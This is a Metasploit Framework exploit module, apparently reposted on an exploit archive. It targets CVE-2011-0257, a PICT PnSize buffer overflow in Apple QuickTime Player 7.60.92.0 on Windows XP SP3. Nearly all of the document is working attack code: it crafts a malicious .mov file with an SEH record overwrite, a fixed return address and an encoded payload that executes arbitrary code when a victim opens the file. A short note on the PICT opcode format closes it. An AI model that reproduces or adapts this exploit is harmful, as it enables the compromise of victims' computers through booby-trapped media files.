Apple QuickTime PICT PnSize Buffer Overflow

##
# $Id: apple_quicktime_pnsize.rb 13691 2011-09-03 21:17:58Z mc $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking
 
    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Seh
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Apple QuickTime PICT PnSize Buffer Overflow',
            'Description'    => %q{
                    This module exploits a vulnerability in Apple QuickTime Player 7.60.92.0.
                When opening a .mov file containing a specially crafted PnSize value, an attacker
                may be able to execute arbitrary code.
            },
            'License'        => MSF_LICENSE,
            'Author'         => [ 'MC' ],
            'Version'        => '$Revision: 13691 $',
            'References'     =>
                [
                    [ 'CVE', '2011-0257' ],
                    [ 'BID', '49144' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'DisablePayloadHandler' => 'true',
                },
            'Payload'        =>
                {
                    'Space'    => 750,
                    'BadChars' => "",
                    'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
                    'DisableNops'  =>  'True',
                    'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
                    'EncoderOptions' =>
                        {
                            'BufferRegister' => 'ECX',
                        },
                },
            'Platform' => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP SP3', { 'Ret' => 0x672b6d4a } ], # QuickTime.qts 7.60.92.0
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Aug 8 2011',
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptString.new('FILENAME',   [ false, 'The file name.',  'msf.mov' ]),
            ], self.class)
    end
 
    def exploit
 
        trigger = rand_text_alpha_upper(3324)
        trigger[2302, 8]  = generate_seh_record(target.ret)
        trigger[2310, payload.encoded.size] = payload.encoded
 
        path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-0257.mov" )
        fd = File.open(path, "rb" )
        sploit = fd.read(fd.stat.size)
        fd.close
 
        sploit << trigger
 
        file_create(sploit)
    end
end
__END__
http://mirrors.apple2.org.za/apple.cabi.net/Graphics/PICT.and_QT.INFO/PICT.file.format.TI.txt
 
Opcode   Name                       Description                  Data Size (in bytes)
 
$0007    PnSize                     pen size (point)             4



#  0day.today [2018-02-09]  #